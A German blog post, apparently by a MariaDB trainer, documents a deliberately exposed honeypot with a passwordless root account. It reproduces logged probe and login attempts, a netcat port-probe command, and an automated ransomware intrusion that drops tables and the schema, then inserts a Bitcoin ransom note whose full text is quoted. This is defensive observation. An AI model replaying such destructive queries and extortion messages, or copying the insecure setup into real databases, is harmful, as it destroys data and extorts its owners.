You are here
MariaDB Honeypot
Bei unseren MariaDB für Fortgeschrittene Schulungen, welche wir in etwa alle zwei Monate halten, verwenden wir Maschinen, welche mit einer öffentlichen IP-Adresse direkt dem Internet ausgesetzt sind.
Achtung: Man sollte NIE eine Datenbank ungeschützt direkt dem Internet aussetzen!
Typischerweise dauert es keine 72 Stunden (3 Tage) bis wir ersten Zugriffsversuchen von aussen ausgesetzt sind.
Dies sieht dann im MariaDB Error Log in etwa wie folgt aus:
[Warning] Aborted connection 22939 to db: 'unconnected' user: 'unauthenticated' host: '118.193.58.125' (This connection closed normally without authentication) [Warning] Aborted connection 22940 to db: 'unconnected' user: 'unauthenticated' host: '118.193.58.125' (This connection closed normally without authentication) [Warning] Access denied for user ''@'118.193.58.125' (using password: NO) [Warning] Access denied for user 'root'@'118.193.58.125' (using password: YES) [Warning] Access denied for user 'root'@'118.193.58.125' (using password: YES)
Zuerst wird einmal probiert, ob da eine Datenbank lauscht und wie diese antwortet. Anschliessend wird auf verschiedene Arten versucht in die Datenbank einzudringen. So wie es aussieht, gibt es verschiedene Beprobungs- und Angriffsmuster. Der Anonymous User (''@'%'
) und 'root'@'%'
werden mit und ohne Passwort geprüft.
Ob noch weitere User probiert werden, muss sich noch über einen längeren Beobachtungszeitraum zeigen.
Und so sieht das aus Sicht des MariaDB General Query Logs aus:
287793 Connect root@196.251.91.77 on using TCP/IP 287793 Connect Access denied for user 'root'@'196.251.91.77' (using password: NO) 287794 Connect root@196.251.91.77 on using TCP/IP 287794 Connect Access denied for user 'root'@'196.251.91.77' (using password: YES) 287796 Connect root@196.251.91.77 on using TCP/IP 287796 Connect Access denied for user 'root'@'196.251.91.77' (using password: YES)
Vorbereiten des Honeypots
Nach Beendigung der Schulung brauchen wir die Maschinen nicht mehr, sie werden abgebaut. Daher hat es mich zum Schluss gereizt, auszuprobieren, was passiert, wenn ein Zugriffsversuch erfolgreich ist. Um das zu testen wurde der User 'root'@'%'
ohne Passwort wie folgt angelegt und ihm alle Rechte auf das test
Schema gegeben:
SQL> CREATE USER 'root'@'%'; SQL> GRANT ALL ON test.* TO 'root'@'%';
und sowohl das MariaDB General Log eingeschaltet als auch das MariaDB Error Log gesprächiger gemacht:
# my.cnf [server] general_log_file = /var/log/mysql/general.log general_log = on log_error = /var/log/mysql/error.log log_warnings = 9 # too much! bind_address = * skip_name_resolve = on # How much info do we loose? # skip_grant_tables
Anschliessend hiess es nur noch sich auf die Lauer legen und abwarten was passiert...
TODO: Es wäre hier noch spannend zu sehen, mit welchen Passwörtern versucht wird, in die Datenbank zu gelangen. Mal schauen, ob man das rausfinden kann ohne den MariaDB Quellcode zu patchen...? Ev. sollte man zusätzlich noch mit wireshark
oder tcpdump
versuchen, die Passwörter ersichtlich zu machen.
Die erste Fliege schwirrt an
Dann scheint die erste Fliege (aus Amsterdam, Niederlande) zum Honigtopf zu gelangen. Zuerst haben wir eine Warnung, dass der Reverse-Lookup der IP Adresse scheitert:
[Warning] Hostname 'no-reverse-dns-configured.com' does not resolve to '94.102.49.155'.
Aber dann geht sie rein. Tut aber nichts Spannendes:
250228 16:06:32 1222 Connect root@94.102.49.155 on using TCP/IP 1222 Query SHOW databases 1222 Query SHOW tables IN information_schema 1222 Query SHOW tables IN test 1222 Query SHOW VARIABLES 250228 16:06:33 1222 Quit
Was kriegt die Fliege zu sehen:
SQL> SHOW databases; +--------------------+ | Database | +--------------------+ | information_schema | | test | +--------------------+ SQL> SHOW tables IN information_schema; +-------------------------------+ | Tables_in_information_schema | +-------------------------------+ | ALL_PLUGINS | | APPLICABLE_ROLES | | CHARACTER_SETS | | ... | | INNODB_TABLESPACES_ENCRYPTION | | INNODB_LOCK_WAITS | | THREAD_POOL_STATS | +-------------------------------+ 82 rows in set (0.000 sec) SQL> SHOW tables IN test; +----------------+ | Tables_in_test | +----------------+ | test | +----------------+ SQL> SHOW VARIABLES; +----------------------------------------------------------+------------+ | Variable_name | Value | +----------------------------------------------------------+------------+ | allow_suspicious_udfs | OFF | | alter_algorithm | DEFAULT | | analyze_sample_percentage | 100.000000 | | ... | | | wsrep_sync_wait | 0 | | wsrep_trx_fragment_size | 0 | | wsrep_trx_fragment_unit | bytes | +----------------------------------------------------------+------------+ 686 rows in set (0.003 sec)
Möglicherweise ist hier der Algorithmus des Angriffs schlau genug und stellt fest, dass sich ein Angriff nicht lohnt?
Dann warten wir auf die nächste Fliege...
Die nächste Fliege kommt geflogen
Und da sieht man sie auch schon (diesmal aus USA, Minneapolis) im MariaDB Error Log:
[Warning] Hostname 'undefined.hostname.localhost' does not resolve to '196.251.83.136'.
Jetzt wird es spannen, im MariaDB General Query Log zu sehen, was genau passiert?
Zuerst wird eine Verbindung aufgebaut und offen gehalten (Fuss in der Angel behalten?):
250228 16:06:55 67 Connect root@196.251.83.136 on using TCP/IP 67 Query SET AUTOCOMMIT=0
Dann, 15 Sekunden später wird eine Verbindung auf und wieder zu gemacht (sicherstellen, dass man auch wirklich erfolgreich war?):
250228 16:07:10 68 Connect root@196.251.83.136 on using TCP/IP 68 Query SET AUTOCOMMIT=0 68 Quit
Sofort danach werden alle Schemas abgefragt:
69 Connect root@196.251.83.136 on using TCP/IP 69 Query SET AUTOCOMMIT=0 69 Query SHOW DATABASES 69 Quit
Dann wird wieder eine Verbindung auf- und wieder abgebaut:
70 Connect root@196.251.83.136 on using TCP/IP 70 Query SET AUTOCOMMIT=0 70 Quit
Anschliessend wird geprüft, wie gross das Schema ist. Wahrscheinlich um sicherzustellen, dass es nicht zu gross ist? Dann die Tabellen abgefragt. Die Verbindung wird offen gehalten, es wird 2 Sekunden später damit weitergearbeitet.
71 Connect root@196.251.83.136 on using TCP/IP 71 Query SET AUTOCOMMIT=0 71 Query SELECT SUM(data_length + index_length) FROM information_schema.tables WHERE table_schema = 'test' 71 Query USE `test` 71 Query SHOW tables
Anschliessend wir ein mariadb-dump
Imitat? mit Version ≥ 10.1 gestartet um die ersten 10!!! Zeilen der Tabelle aaa_payload
im Schema test
zu dumpen.
250228 16:07:11 72 Connect root@196.251.83.136 on using TCP/IP 72 Query /*!40100 SET @@SQL_MODE='' */ 72 Query /*!100100 SET @@MAX_STATEMENT_TIME=0.000000 */ 72 Query /*!100100 SET WAIT_TIMEOUT=DEFAULT */ 72 Query set optimizer_switch='semijoin=off' 72 Query SELECT LOGFILE_GROUP_NAME, FILE_NAME, TOTAL_EXTENTS, INITIAL_SIZE, ENGINE, EXTRA FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'UNDO LOG' AND FILE_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IN (SELECT DISTINCT LOGFILE_GROUP_NAME FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('aaa_payload'))) GROUP BY LOGFILE_GROUP_NAME, FILE_NAME, ENGINE, TOTAL_EXTENTS, INITIAL_SIZE ORDER BY LOGFILE_GROUP_NAME 72 Query SELECT DISTINCT TABLESPACE_NAME, FILE_NAME, LOGFILE_GROUP_NAME, EXTENT_SIZE, INITIAL_SIZE, ENGINE FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('aaa_payload')) ORDER BY TABLESPACE_NAME, LOGFILE_GROUP_NAME 72 Query set optimizer_switch=default 72 Init DB test 72 Query SHOW VARIABLES LIKE 'lower_case_table_names' 72 Query SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload' 72 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload' 72 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload' 72 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload' 72 Query SET SQL_QUOTE_SHOW_CREATE=1 72 Query show fields from `aaa_payload` 72 Query SELECT /*!40001 SQL_NO_CACHE */ `id`, `name` FROM `aaa_payload` WHERE 1 LIMIT 10 72 Quit
Dann das selbe nochmal mit einer Tabelle namens bbb_payload
:
73 Connect root@196.251.83.136 on using TCP/IP 73 Query /*!40100 SET @@SQL_MODE='' */ 73 Query /*!100100 SET @@MAX_STATEMENT_TIME=0.000000 */ 73 Query /*!100100 SET WAIT_TIMEOUT=DEFAULT */ 73 Query set optimizer_switch='semijoin=off' 73 Query SELECT LOGFILE_GROUP_NAME, FILE_NAME, TOTAL_EXTENTS, INITIAL_SIZE, ENGINE, EXTRA FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'UNDO LOG' AND FILE_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IN (SELECT DISTINCT LOGFILE_GROUP_NAME FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('bbb_payload'))) GROUP BY LOGFILE_GROUP_NAME, FILE_NAME, ENGINE, TOTAL_EXTENTS, INITIAL_SIZE ORDER BY LOGFILE_GROUP_NAME 73 Query SELECT DISTINCT TABLESPACE_NAME, FILE_NAME, LOGFILE_GROUP_NAME, EXTENT_SIZE, INITIAL_SIZE, ENGINE FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('bbb_payload')) ORDER BY TABLESPACE_NAME, LOGFILE_GROUP_NAME 73 Query set optimizer_switch=default 73 Init DB test 73 Query SHOW VARIABLES LIKE 'lower_case_table_names' 250228 16:07:12 73 Query SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'bbb_payload' 73 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'bbb_payload' 73 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'bbb_payload' 73 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'bbb_payload' 73 Query SET SQL_QUOTE_SHOW_CREATE=1 73 Query show fields from `bbb_payload` 73 Query SELECT /*!40001 SQL_NO_CACHE */ `id`, `name` FROM `bbb_payload` WHERE 1 LIMIT 10 73 Quit
Und schiesslich unsere Haupttabelle test
aber auch hier nur die ersten 10!!! Zeilen:
74 Connect root@196.251.83.136 on using TCP/IP 74 Query /*!40100 SET @@SQL_MODE='' */ 74 Query /*!100100 SET @@MAX_STATEMENT_TIME=0.000000 */ 74 Query /*!100100 SET WAIT_TIMEOUT=DEFAULT */ 74 Query set optimizer_switch='semijoin=off' 74 Query SELECT LOGFILE_GROUP_NAME, FILE_NAME, TOTAL_EXTENTS, INITIAL_SIZE, ENGINE, EXTRA FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'UNDO LOG' AND FILE_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IN (SELECT DISTINCT LOGFILE_GROUP_NAME FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('test'))) GROUP BY LOGFILE_GROUP_NAME, FILE_NAME, ENGINE, TOTAL_EXTENTS, INITIAL_SIZE ORDER BY LOGFILE_GROUP_NAME 74 Query SELECT DISTINCT TABLESPACE_NAME, FILE_NAME, LOGFILE_GROUP_NAME, EXTENT_SIZE, INITIAL_SIZE, ENGINE FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('test')) ORDER BY TABLESPACE_NAME, LOGFILE_GROUP_NAME 74 Query set optimizer_switch=default 74 Init DB test 74 Query SHOW VARIABLES LIKE 'lower_case_table_names' 74 Query SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test' 74 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test' 74 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test' 74 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test' 74 Query SET SQL_QUOTE_SHOW_CREATE=1 74 Query show fields from `test` 74 Query SELECT /*!40001 SQL_NO_CACHE */ `id`, `data`, `ts` FROM `test` WHERE 1 LIMIT 10 74 Quit
Dann geht es wieder mit Connection 71 weiter: Die 3 Tabellen test
, bbb_payload
und aaa_payload
werden gelöscht:
71 Query USE `test` 71 Query SHOW TABLES 71 Query SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM information_schema.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA = 'test' AND TABLE_NAME = 'test' AND REFERENCED_TABLE_NAME IS NOT NULL 71 Query SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM information_schema.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA = 'test' AND TABLE_NAME = 'bbb_payload' AND REFERENCED_TABLE_NAME IS NOT NULL 250228 16:07:13 71 Query SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM information_schema.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA = 'test' AND TABLE_NAME = 'aaa_payload' AND REFERENCED_TABLE_NAME IS NOT NULL 71 Query DROP TABLE `test` 71 Query DROP TABLE `bbb_payload` 71 Query DROP TABLE `aaa_payload`
Dann wird eine Tabelle namens RECOVER_YOUR_DATA
erstellt und mit dem Text versehen, wie man das Lösegeld bezahlen soll. Die Höhe beträgt 0.0101 Bitcoin was zur Zeit ca. EUR 863.40 entspricht. Wohlgemerkt, sie haben nur die ersten 10 Zeilen gedumpt und anschliessend gelöscht!
71 Query CREATE TABLE IF NOT EXISTS RECOVER_YOUR_DATA (text VARCHAR(255)) 71 Query INSERT INTO RECOVER_YOUR_DATA (text) VALUES ('All your data is backed up. You must pay 0.0101 BTC to bc1qm0v2r0mmx3py3h7fzkerd9a6rzdrpw5afqacen In 48 hours, your data will be publicly disclosed and deleted. (more information: go to https://is.gd/yotuqu)') 71 Query INSERT INTO RECOVER_YOUR_DATA (text) VALUES ('After payment send mail to us: rambler+2r8qm@onionmail.org and we will provide a link for you to download your data. Your DBCODE is: 2R8QM') 71 Query COMMIT 71 Quit
Hinter dem Link ist folgender Text zu finden:
Please take note of the following: We are aware that you have accessed this guide. This offer stands for 24hs After 72 hours, we cannot guarantee that we will be able to send the data to you. The only way to recover your data is by making the payment. We will not provide the data for free. Data leakage is a serious legal violation. Rest assured, the incident will remain confidential, and your data is protected. After your payment is completed, all data downloaded from you will be deleted from our servers, government agencies, competitors, contractors, and local media are currently unaware of the incident. If you pay we guarantee that your data will not be sold on Darkweb resources and will not be used to attack your company, employees, or counterparties in the future and the full database dump will be sent to you. If you have not contacted us within two days from the time of the incident, we will consider the transaction incomplete. Your data will then be sent to any interested parties. This is your responsibility. If you are a system administrator or programmer and your boss is unaware of this incident, we will contact them after 48 hours. If you are unable to contact us using the provided email, please visit https://getsession.org/ and download the Session Messenger. Add us using the following Session ID for a smoother conversation and better negotiation: Session ID: 05a5ba6491a15908207cce6e257b3316cd11cb2575f75194d3c59c37de68eaf55a After payment, please provide us with a screenshot or proof of payment. Once the payment is confirmed, we will send you a download link for your data. We will also delete our copy of the data. IMPORTANT!! DO NOT FORGET TO INCLUDE YOUR DBCODE IN YOUR MAIL OR MESSAGE YOU SEND TO US The only accepted payment method is Bitcoin. Be advised: PayPal, WeTransfer, Alipay, credit cards, and other methods will not be accepted. If you prefer to pay with another cryptocurrency, please contact us to make arrangements. If you don't have Bitcoin, you can purchase it using a credit card from the following websites: MoonPay: https://www.moonpay.com/buy Paybis: https://paybis.com/ Changelly: https://changelly.com/buy Alternatively, you can buy Bitcoin using other payment methods from the following platforms (some of them work in China): Coinbase: https://www.coinbase.com/ Paxful: https://paxful.com/ Binance: https://www.binance.com/ Crypto.com: https://www.crypto.com/ Huobi: https://www.huobi.com/ OKCoin: https://www.okcoin.com/ BTCC: https://www.btcc.com/ Paybis: https://paybis.com/ Coinmama: https://coinmama.com/ Bitfinex: https://www.bitfinex.com/ For users in China, Bitcoin can be purchased with Alipay from: CoinCola: https://www.coincola.com/?lang=zh-HK BitValve: https://www.bitvalve.com/buy-bitcoin/alipay
Und dieser Text wir in die Tabelle RECOVER_YOUR_DATA
geschrieben:
SQL> SELECT * FROM RECOVER_YOUR_DATA; +-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | text | +-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | All your data is backed up. You must pay 0.0101 BTC to bc1qm0v2r0mmx3py3h7fzkerd9a6rzdrpw5afqacen In 48 hours, your data will be publicly disclosed and deleted. (more information: go to https://is.gd/yotuqu) | | After payment send mail to us: rambler+2r8qm@onionmail.org and we will provide a link for you to download your data. Your DBCODE is: 2R8QM | +-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
Anschliessend wird das Schema test (wo die Tabelle RECOVER_YOUR_DATA
drin ist?) gelöscht.
75 Connect root@196.251.83.136 on using TCP/IP 75 Query SET AUTOCOMMIT=0 75 Query DROP DATABASE `test` 75 Query COMMIT 75 Quit
Und ein neues Schema erstellt mit dem Namen RECOVER_YOUR_DATA
:
76 Connect root@196.251.83.136 on using TCP/IP 76 Query SET AUTOCOMMIT=0 76 Query CREATE DATABASE IF NOT EXISTS RECOVER_YOUR_DATA 76 Quit
Irgendwie scheint mir der Zugriff nicht logisch und hat noch Potential. Da die Tabelle RECOVER_YOUR_DATA
fehlt (gelöscht mit Schema test
) kann man ja gar nicht mehr bezahlen, falls man wollte...
Möglicherweise scheint der Entwickler auch nicht mit einem limitierten root
Account gerechnet zu haben und das Tool verhält sich daher falsch? Siehe auch die drei Wiederholungen beim Dumpen der Tabellen.
Woher kommt der Zugriff?
Ich weiss nicht, wie gut man verschleiern kann woher man kommt und wie gut die Geo-Auflösung der IP-Adressen ist, davon habe ich zu wenig Ahnung. Eine Recherche hat ergeben, dass die IP aus Amsterdam (Niederlande) kommt.
Nach weiterer Suche stellte sich heraus, dass die IP einer Organisation Namens Internet Secuirty Ekabi (achtung Schreibfehler wie im Original!) gehört mit einer Adresse aus der USA und der Location auf den Seychellen.
Wenn mir noch jemand mehr Tipps geben kann, was man da alles rausfinden kann, wäre ich sehr dankbar dafür!
Woher stammen die IP Adressen?
Im kurzen beobachteten Zeitraum haben wir Zugriffe aus folgenden Regionen beobachtet:
- Alibaba Cloud, Singapore
- Google Belgium, Brussels
- Data-Center Imaqliq Ltd., Russia, St. Petersburg
- Alibaba Cloud, Japan, Tokyo
- FiberXpress BV, Netherlands, Amsterdam
- M247 Europe SRL, United Kingdom, Manchester
- Hetzner Online GmbH, Finland, Helsinki
- Internet Secuirty Ekabi, Netherlands, Amsterdam (2 x)
- Internet Security Cheapyhost, Netherlands, Amsterdam (9 x)
- Internet Security Nybula, Netherlands, Amsterdam (2 x)
Zugriffsmuster
Alle Zugriffsversuche erfolgen OHNE SSL/TLS.
Fingerprint aus Sicht des MariaDB General Query Logs:
9 x Connect root@34.140.63.218 on using TCP/IP Connect Access denied for user 'root'@'34.140.63.218' (using password: NO) 1 x Connect root@45.135.95.25 on using TCP/IP Connect Access denied for user 'root'@'45.135.95.25' (using password: NO) Connect root@45.135.95.25 on using TCP/IP Connect Access denied for user 'root'@'45.135.95.25' (using password: NO) 4 x Connect root@196.251.118.8 on using TCP/IP Connect Access denied for user 'root'@'196.251.118.8' (using password: NO) Connect root@196.251.118.8 on using TCP/IP Connect Access denied for user 'root'@'196.251.118.8' (using password: YES) Connect root@196.251.118.8 on using TCP/IP ... mit 2 Wiederholungen 1 x Connect root@94.102.49.155 on using TCP/IP Connect Access denied for user 'root'@'94.102.49.155' (using password: NO) Connect root@94.102.49.155 on using TCP/IP Connect Access denied for user 'root'@'94.102.49.155' (using password: YES) ... mit 6 Wiederholungen 2 x Connect root@196.251.91.19 on using TCP/IP Connect Access denied for user 'root'@'196.251.91.19' (using password: NO) Connect root@196.251.91.19 on using TCP/IP Connect Access denied for user 'root'@'196.251.91.19' (using password: YES) ... mit 28 Wiederholungen 1 x Connect root@157.180.29.231 on using TCP/IP Connect Access denied for user 'root'@'157.180.29.231' (using password: NO) Connect root@157.180.29.231 on using TCP/IP Connect Access denied for user 'root'@'157.180.29.231' (using password: NO) Connect root@157.180.29.231 on using TCP/IP Connect Access denied for user 'root'@'157.180.29.231' (using password: YES) Connect root@157.180.29.231 on using TCP/IP Connect Access denied for user 'root'@'157.180.29.231' (using password: YES) Mit jeweils zeitlichem Abstand 2 x Connect root@196.251.86.26 on using TCP/IP Connect Access denied for user 'root'@'196.251.86.26' (using password: NO) Connect root@196.251.86.26 on using TCP/IP Connect Access denied for user 'root'@'196.251.86.26' (using password: YES) Connect root@196.251.86.26 on using TCP/IP ... mit 38 Wiederholungen
Es kann natürlich sein, dass einige dieser Zugriffsversuche dieselben Werkzeuge verwenden und einfach nach einer unterschiedlichen Anzahl Versuche abgebrochen wurde und die Tools damit ein unterschiedliches Muster erzeugt haben.
Zugriffsmuster aus Sicht des MariaDB Error Logs
Mögliche Zugriffe auf das Galera Protokoll
[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port. [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port. [Warning] WSREP: Unsupported/unrecognized gmcast protocol version: { at ./gcomm/src/gmcast_message.hpp:unserialize():331 at ./gcomm/src/gmcast.cpp:handle_up():1494 [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port. [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port. [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.
und:
[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port. [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port. [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.
Ob dies ein Zugriffsversuch war oder ob wir nur bei uns im Netzwerk oder Galera Cluster ein Problem hatten muss noch verifiziert werden.
Probleme mit der Namensauflösung
Um mehr und zusätzliche Informationen zu erhalten wurde die Datenbank OHNE skip_name_resolve
betrieben. Dies führt zu verschiedenen Warnung betreffend Namensauflösung (vorwärts und rückwärts).
[Warning] Hostname 'no-reverse-dns-configured.com' does not resolve to '94.102.49.155'. [Warning] Host name 'scanner-28.ch1.censys-scanner.com' could not be resolved: Name or service not known [Warning] IP address '34.140.170.97' has been resolved to the host name '97.170.140.34.bc.googleusercontent.com', which resembles IPv4-address itself. [Warning] IP address '165.154.100.58' could not be resolved: Name or service not known [Warning] IP address '104.193.135.104' could not be resolved: Temporary failure in name resolution
Zudem sind verschiedene Scanner-Systeme aufgefallen, die teilweise richtig aufgelöst haben: security.ipip.net coop.net {ch1|hk2}.censys-scanner.com
Fazit: slog_warnings = 9
ist zu hoch, skip_name_resolve
aktivieren.
Port probing
Einfaches Port probing (Abklopfen der Ports) kann wie folgt erfolgen:
# netcat -z -n -v 10.116.63.139 3300-3310
Im MariaDB Error Log auf Datenbank Seite sieht man dann wie folgt:
[Warning] Could not read packet: fd: 56 state: 1 read_length: 4 errno: 110 vio_errno: 1159 length: 0 [Warning] Aborted connection 52 to db: 'unconnected' user: 'unauthenticated' host: '_gateway.incus' (This connection closed normally without authentication)
Diese Port probes werden im MariaDB Gerneral Query Log schon gar nicht erst angezeigt.
Verschiedene Varianten und Muster des Port probings
Folgende 3 Muster des Port probings sind uns aufgefallen:
[Warning] Could not read packet: fd: 63 state: 1 read_length: 4 errno: 104 vio_errno: 1158 length: -1 [Warning] Aborted connection 76 to db: 'unconnected' user: 'unauthenticated' host: '45.142.193.153' (This connection closed normally without authentication) 198.235.24.140 115.231.78.10 [Warning] Could not read packet: fd: 63 state: 1 read_length: 4 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 50 to db: 'unconnected' user: 'unauthenticated' host: '20.65.194.133' (This connection closed normally without authentication) [Warning] Could not write packet: fd: 64 state: 1 errno: 104 vio_errno: 1160 length: 42 [ERROR] mariadbd: Got an error writing communication packets [Warning] Aborted connection 55 to db: 'unconnected' user: 'unauthenticated' host: 'connecting host' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 4 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 56 to db: 'unconnected' user: 'unauthenticated' host: '137.184.75.161' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 4 errno: 0 vio_errno: 1158 length: 0 [Warning] Aborted connection 57 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 87 state: 1 read_length: 4 errno: 0 vio_errno: 1158 length: 0 [Warning] Aborted connection 58 to db: 'unconnected' user: 'unauthenticated' host: '165.22.188.115' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 196974 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 59 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 196974 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 60 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 197053 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 61 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 197067 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 62 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 196986 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 63 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 131449 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 64 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 65900 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 65 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 65900 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 66 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 65910 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 67 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 65887 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 68 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
Was im dritten Fall genau probiert wurde, entzieht sich noch meiner Kenntnis.
Und hier noch die Aufschlüsselung der Fehlermeldungen:
# perror 104 OS error code 104: Connection reset by peer # perror 11 OS error code 11: Resource temporarily unavailable # perror 1158 MariaDB error code 1158 (ER_NET_READ_ERROR): Got an error reading communication packets Learn more: https://mariadb.com/kb/en/e1158/ # perror 1160 MariaDB error code 1160 (ER_NET_ERROR_ON_WRITE): Got an error writing communication packets Learn more: https://mariadb.com/kb/en/e1160/
Out of order packets (4 x)
Ein weiteres Muster, welches wir gesehen habe, sind Pakete in falscher Reihenfolge. Ob das Absicht ist oder mit dem Netzwerk zwischen Angreifer und Datenbank zu tun hat kann zur Zeit nicht gesagt werden (die IPs sollen aus Italien, USA und 2 x Schweden stammen).
Quellen: 45.91.171.169 45.147.250.222 20.168.122.53 91.223.169.88
Beispiel:
[ERROR] mariadbd: Got packets out of order [Warning] Aborted connection 49 to db: 'unconnected' user: 'unauthenticated' host: '103.45.246.42' (This connection closed normally without authentication)
Unvollständiger Verbindungsaufbau (51 x)
